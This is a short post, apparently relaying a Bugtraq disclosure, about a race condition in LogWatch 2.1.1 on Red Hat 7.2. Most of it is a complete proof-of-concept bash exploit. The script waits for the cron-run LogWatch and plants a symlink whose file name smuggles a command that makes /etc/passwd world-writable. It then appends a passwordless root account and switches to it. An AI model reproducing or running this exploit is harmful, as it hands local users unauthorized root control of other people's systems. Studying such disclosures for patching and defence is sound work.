Logwatch is exploitable, watchout root!
While reading bugtraq, I found that Logwatch that comes with the RadHat 7.2 distros and installed by default, is exploitable.LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution, enabled by default and daily run by the cron daemon. On a system running LogWatch, a local user is able to gain unauthorized root access, due to a race condition during the temporary directory creation. See Below:
--- EXPLOIT ---
cat > logwatch211.sh <
#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak
SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/
echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak '
echo
echo "Waiting for LogWatch to be executed"
while :; do
set `ps -o pid -C $SERVANT`
if [ -n "$2" ]; then
mkdir /tmp/logwatch.$2
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
break;
fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
set `ps -o pid -C $SERVANT`
if [ -z "$2" ]; then
ls -l /etc/passwd|mail root
echo master::0:0:master:/root:/bin/bash >> /etc/passwd
break;
fi
done
su master
EOF
